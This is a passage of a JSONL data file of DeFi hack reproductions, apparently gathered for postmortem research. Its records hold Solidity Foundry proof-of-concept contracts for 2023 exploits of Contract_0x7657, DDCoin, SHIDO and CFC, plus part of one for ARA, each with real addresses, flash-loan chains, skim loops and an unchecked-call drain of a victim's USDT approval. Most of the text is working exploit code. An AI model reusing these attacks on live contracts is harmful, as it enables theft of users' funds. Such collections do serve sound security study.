"Unknown", "content_richness_score": 4.53, "quality_estimate": "low", "title": "NST Exploit (2023-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~1300 $USDC\n// Attacker : https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f\n// Attack Contract : https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221\n// Vulnerable Contract : https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb77\n// Attack Tx : https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ninterface IUSDTinterface {\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n function approve(address _spender, uint256 _value) external;\n function balanceOf(\n address owner\n ) external view returns (uint256);\n function transfer(address _to, uint256 _value) external;\n}\n\ncontract ContractTest is Test {\n IUSDTinterface USDT = IUSDTinterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n address Contract_addr = 0x76577603F99EAe8320F70B410a350a83D744CB77;\n address Victim = 0x637b935CbA030Aeb876eae07Aa7FF637166de4D6;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 17_511_178 - 1);\n vm.label(address(USDT), \"USDT\");\n vm.label(address(Contract_addr), \"Contract_addr\");\n vm.label(address(Victim), \"Victim\");\n }\n\n function testExploit() public {\n emit log_named_decimal_uint(\"Attacker USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n uint256 Victim_balance = USDT.balanceOf(address(Victim));\n (bool success, bytes memory data) =\n Contract_addr.call(abi.encodeWithSelector(bytes4(0x0a8fe064), address(this), Victim, 0, Victim_balance, 1));\n emit log_named_decimal_uint(\"Attacker USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n }\n\n function Sell(uint256 _snipeID, uint256 _sellPercentage) external payable returns (bool) {\n address(USDT).call(abi.encodeWithSelector(bytes4(0x23b872dd), Contract_addr, address(this), _snipeID));\n return false;\n }\n\n fallback() external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Contract_0x7657", "date": "2023-06", "file_name": "Contract_0x7657_exp.sol", "attack_vector": "flash_loan", "content_hash": "cd26e577a5b58e7f", "collected_at": "2026-01-07T10:59:16.512746", "_source": "postmortems", "chain": "ethereum", "block_number": 17511178, "total_lost_raw": "~1300 $USDC", "total_lost_usd": 1300.0, "attacker_address": "https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f", "attack_contract": "https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221", "vulnerable_contract": "https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb77", "attack_tx": "https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~1300 $USDC", "category": "flash-loan", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"Attacker USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n uint256 Victim_balance = USDT.balanceOf(address(Victim));\n (bool success, bytes memory data) =\n Contract_addr.call(abi.encodeWithSelector(bytes4(0x0a8fe064), address(this), Victim, 0, Victim_balance, 1));\n emit log_named_decimal_uint(\"Attacker USDT balance before attack\", USDT.balanceOf(address(this)), 6);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~1300 $USDC", "keyinfo_attacker": "https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f", "keyinfo_attack_contract": "https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb77", "keyinfo_attack_tx": "https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.3K", "content_richness_score": 8.16, "quality_estimate": "high", "title": "Contract_0x7657 Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~300K USD$\n// Attacker : https://bscscan.com/address/0x0a3fee894eb8fcb6f84460d5828d71be50612762\n// Attack Contract : https://bscscan.com/address/0x105e9b0266ae0ae670b7fe9af08cf32049f0dd21\n// Vulnerable Contract : https://bscscan.com/address/0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c8\n// Attack Tx : https://bscscan.com/tx/0xd92bf51b9bf464420e1261cfcd8b291ee05d5fbffbfbb316ec95131779f80809\n\n// @Analysis\n// https://twitter.com/ImmuneBytes/status/1664239580210495489\n// https://twitter.com/ChainAegis/status/1664192344726581255?cxt=HHwWjsDRldmHs5guAAAA\n\ninterface IMarketPlace {\n struct SellListing {\n uint256 itemId;\n uint256 index;\n uint256 price;\n uint256 amount;\n uint256 time;\n address buyer;\n address seller;\n }\n\n function currenyId() external view returns (uint256);\n\n function inviteLimit(\n address\n ) external view returns (uint256);\n\n function items(\n uint256 id\n )\n external\n view\n returns (uint256 price, uint256 amount, uint256 totalAmount, uint256 index, uint256 time, address buyer);\n\n function listItem(uint256 _amount, address invite) external returns (uint256);\n\n function sellItem(\n uint256 _amount\n ) external returns (SellListing memory);\n}\n\ncontract DDTest is Test {\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 DD = IERC20(0x50ab0D88045F540b8B79C8A7Dc25790dB493BBC5);\n IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IMarketPlace MarketPlace = IMarketPlace(0xb3a636ac4c271e6CD962caD98Eae9Cf71f5A49c8);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n address private constant addrToInvite = 0x693166710b501e3379Cf104e5AaA803aF6CbbF1A;\n HelperContract OrdersPlacer;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 28_714_107);\n cheats.label(address(BUSDT), \"BUSDT\");\n cheats.label(address(DD), \"DD\");\n cheats.label(address(DPPOracle1), \"DPPOracle1\");\n cheats.label(address(DPPOracle2), \"DPPOracle2\");\n cheats.label(address(DPPOracle3), \"DPPOracle3\");\n cheats.label(address(DPP), \"DPP\");\n cheats.label(address(DPPAdvanced), \"DPPAdvanced\");\n cheats.label(address(MarketPlace), \"MarketPlace\");\n cheats.label(address(Router), \"Router\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"BUSDT attacker balance before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"BUSDT attacker balance after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == address(DPPOracle1)) {\n DPPOracle2.flashLoan(0, BUSDT.balanceOf(address(DPPOracle2)), address(this), new bytes(1));\n } else if (msg.sender == address(DPPOracle2)) {\n DPPOracle3.flashLoan(0, BUSDT.balanceOf(address(DPPOracle3)), address(this), new bytes(1));\n } else if (msg.sender == address(DPPOracle3)) {\n DPP.flashLoan(0, BUSDT.balanceOf(address(DPP)), address(this), new bytes(1));\n } else if (msg.sender == address(DPP)) {\n DPPAdvanced.flashLoan(0, BUSDT.balanceOf(address(DPPAdvanced)), address(this), new bytes(1));\n } else {\n // Approvals\n BUSDT.approve(address(MarketPlace), type(uint256).max);\n BUSDT.approve(address(Router), type(uint256).max);\n DD.approve(address(MarketPlace), type(uint256).max);\n\n // Placing order\n MarketPlace.listItem(500e18, addrToInvite);\n\n // Bypassing order limit. Next order should be placed with helper contract because:\n // MarketPlace: \"Only one order can be placed within hours\"\n // Here I don't use create2 method like it was in the attack tx\n OrdersPlacer = new HelperContract();\n BUSDT.transfer(address(OrdersPlacer), 500e18);\n // Using one contract to place the next order instead two (with delegatecall)\n OrdersPlacer.placeOrder();\n\n // Next part (for loop) may take some time...\n // More iterations possible. I just wanted to prcisely stick to the final (stealed) BUSDT amount\n for (uint256 i; i < 100; ++i) {\n (,, uint256 totalAmount,,,) = MarketPlace.items(MarketPlace.currenyId());\n\n swapBUSDTToDD(totalAmount / 20);\n MarketPlace.sellItem(totalAmount);\n BUSDT.transferFrom(\n address(MarketPlace), address(this), BUSDT.allowance(address(MarketPlace), address(this))\n );\n }\n }\n\n BUSDT.transfer(msg.sender, quoteAmount);\n }\n\n function swapBUSDTToDD(\n uint256 amountOut\n ) internal {\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(DD);\n Router.swapTokensForExactTokens(\n amountOut, BUSDT.balanceOf(address(this)), path, address(this), block.timestamp + 100\n );\n }\n}\n\ncontract HelperContract {\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IMarketPlace MarketPlace = IMarketPlace(0xb3a636ac4c271e6CD962caD98Eae9Cf71f5A49c8);\n\n function placeOrder() external {\n BUSDT.approve(address(MarketPlace), type(uint256).max);\n MarketPlace.listItem(500e18, msg.sender);\n }\n}\n", "type": "exploit_poc", "protocol": "DDCoin", "date": "2023-06", "file_name": "DDCoin_exp.sol", "attack_vector": "flash_loan", "content_hash": "439ee19647366c24", "collected_at": "2026-01-07T10:59:16.512788", "_source": "postmortems", "chain": "bsc", "block_number": 28714107, "total_lost_raw": "~300K USD$", "total_lost_usd": 300000.0, "attacker_address": "https://bscscan.com/address/0x0a3fee894eb8fcb6f84460d5828d71be50612762", "attack_contract": "https://bscscan.com/address/0x105e9b0266ae0ae670b7fe9af08cf32049f0dd21", "vulnerable_contract": "https://bscscan.com/address/0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c8", "attack_tx": "https://bscscan.com/tx/0xd92bf51b9bf464420e1261cfcd8b291ee05d5fbffbfbb316ec95131779f80809", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~300K USD$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n emit log_named_decimal_uint(\n \"BUSDT attacker balance before exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n DPPOracle1.flashLoan(0, BUSDT.balanceOf(address(DPPOracle1)), address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"BUSDT attacker balance after exploit\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~300K USD$", "keyinfo_attacker": "https://bscscan.com/address/0x0a3fee894eb8fcb6f84460d5828d71be50612762", "keyinfo_attack_contract": "https://bscscan.com/address/0x105e9b0266ae0ae670b7fe9af08cf32049f0dd21", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb3a636ac4c271e6cd962cad98eae9cf71f5a49c8", "keyinfo_attack_tx": "https://bscscan.com/tx/0xd92bf51b9bf464420e1261cfcd8b291ee05d5fbffbfbb316ec95131779f80809", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$300.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "DDCoin Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~230K US$\n// Attacker : https://bscscan.com/address/0x69810917928b80636178b1bb011c746efe61770d\n// Attack Contract : https://bscscan.com/address/0xcdb3d057ca0cfdf630baf3f90e9045ddeb9ea4cc\n// Vulnerable Contract : https://bscscan.com/address/0xa963ee460cf4b474c35ded8fff91c4ec011fb640\n// Attack Tx : https://bscscan.com/tx/0x72f8dd2bcfe2c9fbf0d933678170417802ac8a0d8995ff9a56bfbabe3aa712d6\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xa963ee460cf4b474c35ded8fff91c4ec011fb640#code\n\n// @Analysis\n// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1672473343734480896\n// Twitter Guy : https://twitter.com/AnciliaInc/status/1672382613473083393\n\ninterface IShidoLock {\n function lockTokens() external;\n function claimTokens() external;\n}\n\ninterface IFeeFreeRouter {\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address payable to,\n uint256 deadline\n ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract ContractTest is Test {\n IERC20 SHIDO = IERC20(0xa963eE460Cf4b474c35ded8fFF91c4eC011FB640);\n IERC20 SHIDOINU = IERC20(0x733Af324146DCfe743515D8D77DC25140a07F9e0);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IFeeFreeRouter FeeFreeRouter = IFeeFreeRouter(0x9869674E80D632F93c338bd398408273D20a6C8e);\n IShidoLock ShidoLock = IShidoLock(0xaF0CA21363219C8f3D8050E7B61Bb5f04e02F8D4);\n address dodo = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;\n\n function setUp() public {\n deal(address(this), 0);\n vm.createSelectFork(\"bsc\", 29_365_171); // It is recommended to use the quicknode endpoint\n vm.label(address(SHIDOINU), \"SHIDOINU\");\n vm.label(address(SHIDO), \"SHIDO\");\n vm.label(address(WBNB), \"WBNB\");\n vm.label(address(ShidoLock), \"ShidoLock\");\n vm.label(address(FeeFreeRouter), \"FeeFreeRouter\");\n vm.label(address(Router), \"Router\");\n vm.label(address(dodo), \"dodo\");\n }\n\n function testExploit() public {\n DVM(dodo).flashLoan(40 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n WBNBToSHIDOINU();\n LockAndClaimToken();\n SHIDOToWBNB();\n\n WBNB.transfer(dodo, baseAmount);\n }\n\n function WBNBToSHIDOINU() internal {\n WBNB.approve(address(Router), 100_000 * 1e18);\n address[] memory path = new address[](2);\n path[0] = address(WBNB);\n path[1] = address(SHIDOINU);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 39 * 1e18, 0, path, address(FeeFreeRouter), block.timestamp\n );\n WBNB.withdraw(10 * 1e15);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(10 * 1e15, 0, path, address(this), block.timestamp);\n SHIDOINU.approve(address(FeeFreeRouter), 1e27);\n FeeFreeRouter.addLiquidityETH{value: 0.01 ether}(\n address(SHIDOINU), 1e9, 1, 1, payable(address(this)), block.timestamp\n );\n }\n\n function LockAndClaimToken() internal {\n SHIDOINU.approve(address(ShidoLock), type(uint256).max);\n ShidoLock.lockTokens();\n ShidoLock.claimTokens();\n }\n\n function SHIDOToWBNB() internal {\n SHIDO.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(SHIDO);\n path[1] = address(WBNB);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SHIDO.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "SHIDO", "date": "2023-06", "file_name": "SHIDO_exp.sol", "attack_vector": "flash_loan", "content_hash": "2b9eae9a00b56793", "collected_at": "2026-01-07T10:59:16.512845", "_source": "postmortems", "chain": "bsc", "block_number": 29365171, "total_lost_raw": "~230K US$", "total_lost_usd": 230000.0, "attacker_address": "https://bscscan.com/address/0x69810917928b80636178b1bb011c746efe61770d", "attack_contract": "https://bscscan.com/address/0xcdb3d057ca0cfdf630baf3f90e9045ddeb9ea4cc", "vulnerable_contract": "https://bscscan.com/address/0xa963ee460cf4b474c35ded8fff91c4ec011fb640", "attack_tx": "https://bscscan.com/tx/0x72f8dd2bcfe2c9fbf0d933678170417802ac8a0d8995ff9a56bfbabe3aa712d6", "postmortem_url": null, "twitter_url": "https://twitter.com/Phalcon_xyz/status/1672473343734480896", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "~230K US$", "category": "flash-loan", "exploit_code": "function testExploit() public {\n DVM(dodo).flashLoan(40 * 1e18, 0, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker WBNB balance after exploit\", WBNB.balanceOf(address(this)), WBNB.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~230K US$", "keyinfo_attacker": "https://bscscan.com/address/0x69810917928b80636178b1bb011c746efe61770d", "keyinfo_attack_contract": "https://bscscan.com/address/0xcdb3d057ca0cfdf630baf3f90e9045ddeb9ea4cc", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xa963ee460cf4b474c35ded8fff91c4ec011fb640", "keyinfo_attack_tx": "https://bscscan.com/tx/0x72f8dd2bcfe2c9fbf0d933678170417802ac8a0d8995ff9a56bfbabe3aa712d6", "analysis_postmortem": "", "analysis_twitter": "https://twitter.com/Phalcon_xyz/status/1672473343734480896", "funds_lost_formatted": "$230.0K", "content_richness_score": 9.08, "quality_estimate": "high", "title": "SHIDO Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~16k\n// Attacker contract address : https://bscscan.com/address/0x8213e87bb381919b292ace364d97d3a1ee38caa4\n// Vulnerable contract : https://bscscan.com/address/0xdd9b223aec6ea56567a62f21ff89585ff125632c\n// Attack TX : https://explorer.phalcon.xyz/tx/bsc/0xa3c130ed8348919f73cbefce0f22d46fa381c8def93654e391ddc95553240c1e\n\n// @Analysis : https://twitter.com/hexagate_/status/1669280632738906113 - Second TX\n\ncontract CFCTest is Test {\n IERC20 BEP20USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 SAFE = IERC20(0x4d7Fa587Ec8e50bd0E9cD837cb4DA796f47218a1);\n IERC20 CFC = IERC20(0xdd9B223AEC6ea56567A62f21Ff89585ff125632c);\n IDPPOracle DPPOracle1 = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);\n IDPPOracle DPPOracle2 = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n IDPPOracle DPPOracle3 = IDPPOracle(0x26d0c625e5F5D6de034495fbDe1F6e9377185618);\n IDPPOracle DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n IDPPOracle DPPAdvanced = IDPPOracle(0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d);\n IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IPancakePair CakeLP = IPancakePair(payable(0x595488F902C4d9Ec7236031a1D96cf63b0405CF0));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 29_116_478);\n cheats.label(address(BEP20USDT), \"BEP20USDT\");\n cheats.label(address(SAFE), \"SAFE\");\n cheats.label(address(CFC), \"CFC\");\n cheats.label(address(DPPOracle1), \"DPPOracle1\");\n cheats.label(address(DPPOracle2), \"DPPOracle2\");\n cheats.label(address(DPPOracle3), \"DPPOracle3\");\n cheats.label(address(DPP), \"DPP\");\n cheats.label(address(DPPAdvanced), \"DPPAdvanced\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(CakeLP), \"CakeLP\");\n }\n\n function testSkim() public {\n deal(address(BEP20USDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance before attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n\n takeFlashloan(DPPOracle1);\n\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance after attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == address(DPPOracle1)) {\n takeFlashloan(DPPOracle2);\n } else if (msg.sender == address(DPPOracle2)) {\n takeFlashloan(DPPOracle3);\n } else if (msg.sender == address(DPPOracle3)) {\n takeFlashloan(DPP);\n } else if (msg.sender == address(DPP)) {\n takeFlashloan(DPPAdvanced);\n } else {\n BEP20USDT.approve(address(Router), type(uint256).max);\n CFC.approve(address(Router), type(uint256).max);\n SAFE.approve(address(Router), type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(BEP20USDT);\n path[1] = address(SAFE);\n Router.swapExactTokensForTokens(13_000 * 1e18, 0, path, address(this), block.timestamp + 100);\n\n (uint256 reserveSAFE, uint256 reserveCFC,) = CakeLP.getReserves();\n\n uint256 amountOut = Router.getAmountOut(SAFE.balanceOf(address(this)), reserveSAFE, reserveCFC);\n\n CakeLP.swap(1, (amountOut - (amountOut / 250)) - 1, address(this), hex\"307831323334\");\n\n //Start exploit skim() function\n CFC.transfer(address(CakeLP), CFC.balanceOf(address(this)));\n CakeLP.skim(address(this));\n\n for (uint256 i; i < 18; ++i) {\n CFC.transfer(address(CakeLP), CFC.balanceOf(address(CakeLP)) - 1);\n CakeLP.skim(address(this));\n }\n //End exploit skim() function\n\n path[0] = address(CFC);\n path[1] = address(SAFE);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n CFC.balanceOf(address(this)) / 40, 0, path, address(this), block.timestamp + 100\n );\n\n (reserveSAFE, reserveCFC,) = CakeLP.getReserves();\n uint256 transferAmountSAFE = Router.quote(CFC.balanceOf(address(this)), reserveCFC, reserveSAFE);\n\n SAFE.transfer(address(CakeLP), transferAmountSAFE);\n CFC.transfer(address(CakeLP), CFC.balanceOf(address(this)));\n CakeLP.mint(address(this));\n\n path[0] = address(SAFE);\n path[1] = address(BEP20USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n SAFE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 100\n );\n }\n //Repaying DPPOracle flashloans\n BEP20USDT.transfer(msg.sender, quoteAmount);\n }\n\n function pancakeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external {\n //Repaying CakeLP (Pair) flashswap\n SAFE.transfer(address(CakeLP), SAFE.balanceOf(address(this)));\n }\n\n function takeFlashloan(\n IDPPOracle Oracle\n ) internal {\n Oracle.flashLoan(0, BEP20USDT.balanceOf(address(Oracle)), address(this), new bytes(1));\n }\n}\n", "type": "exploit_poc", "protocol": "CFC", "date": "2023-06", "file_name": "CFC_exp.sol", "attack_vector": "flash_loan", "content_hash": "a12bce69602e5b63", "collected_at": "2026-01-07T10:59:16.512893", "_source": "postmortems", "chain": "bsc", "block_number": 29116478, "total_lost_raw": "~16k", "total_lost_usd": 16000.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": "https://bscscan.com/address/0xdd9b223aec6ea56567a62f21ff89585ff125632c", "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0xa3c130ed8348919f73cbefce0f22d46fa381c8def93654e391ddc95553240c1e", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "~16k", "category": "flash-loan", "exploit_code": "function testSkim() public {\n deal(address(BEP20USDT), address(this), 0);\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance before attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n\n takeFlashloan(DPPOracle1);\n\n emit log_named_decimal_uint(\n \"Attacker BEP20USDT balance after attack\", BEP20USDT.balanceOf(address(this)), BEP20USDT.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~16k", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$16.0K", "content_richness_score": 9.77, "quality_estimate": "high", "title": "CFC Exploit (2023-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~125K USD$\n// Attacker : https://bscscan.com/address/0xf84efa8a9f7e68855cf17eaac9c2f97a9d131366\n// Attack Contract : https://bscscan.com/address/0x98e241bd3be918e0d927af81b430be00d86b04f9\n// Vulnerable Contract : https://bscscan.com/address/0x7ba5dd9bb357afa2231446198c75bac17cefcda9\n// Attack Tx : https://bscscan.com/tx/0xd87cdecd5320301bf9a985cc17f6944e7e7c1fbb471c80076ef2d031cc3023b2\n\n// @Analysis\n// https://twitter.com/BeosinAlert/status/1670638160550965248\n\ninterface IPancakeRouterV3 {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ncontract ARATest is Test {\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 ARA = IERC20(0x5542958FA9bD89C96cB86D1A6Cb7a3e644a3d46e);\n IPancakeRouterV3 Router = IPancakeRouterV3(0x13f4EA83D0bd40E75C8222255bc855a974568Dd4);\n IDPPOracle DPPOracle = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);\n address public constant exploitableSwapContract = 0x7BA5dd9Bb357aFa2231446198c75baC17CEfCda9;\n // Address param required for calling the exploitable contract\n address public constant approvedAddress = 0xB817Ef68d764F150b8d73A2ad7ce9269674538E0;\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 29_214_010);\n cheats.label(address(BUSDT), \"BUSDT\");\n cheats.label(address(ARA), \"ARA\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(DPPOracle), \"DPPOracle\");\n cheats.label(exploitableSwapContract, \"Exploitable Contract\");\n cheats.label(approvedAddress, \"Approved Address\");\n }\n\n function testExploit() public {\n deal(address(BUSDT), address(this), 0);\n BUSDT.approve(address(Router), type(uint256).max);\n ARA.approve(address(Router), type(uint256).max);\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance before hack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n // Step 1. Flashloan 1,202,701 USDT\n DPPOracle.flashLoan(0, 1_202_701 * 1e18, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker BUSDT balance after hack\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n // Step 2. Call the exploitable swap contract to swap 163,497 ARA -> 123,246 USDT\n callSwapContract(163_497 * 1e18, ARA);\n\n // Step 3. Use flashloaned 1,202,701 USDT -> 504,469 ARA to pull up the $ARA price.\n routerV3Swap(BUSDT, ARA, 1_202_701 * 1e18);\n emit log_named_decimal_uint(\n \"Step 3. ARA amount out after first V3 swap\", ARA.balanceOf(address(this)), ARA.decimals()\n );\n\n // Step 4. Call the swap contract again to swap 132,123 USDT -> 12,179 ARA to let the approved address take over $ARA at a high price.\n callSwapContract(132_123 * 1e18, BUSDT);\n\n // Step 5. Swap 504,469 ARA -> 1,327,617 USDT\n routerV3Swap(ARA, BUSDT, ARA.balanceOf(address(this)));\n emit log_named_decimal_uint(\n \"Step 5. BUSDT amount out after second V3 swap\", BUSDT.balanceOf(address(this)), BUSDT.decimals()\n );\n\n BUSDT.transfer(address(DPPOracle), quoteAmount);\n }\n\n function callSwapContract(uint256 amount, IERC20 token) internal {\n (bool success, bytes memory retData) = exploitableSwapContract.call(\n abi.encodeWithSelector(bytes4(0x135b43e9), amount, 0, address(token), approvedAddress)\n );\n require(success, \"Swap not successful\");\n }\n\n function routerV3Swap(IERC20 token1, IERC20 token2, uint256 amount) internal 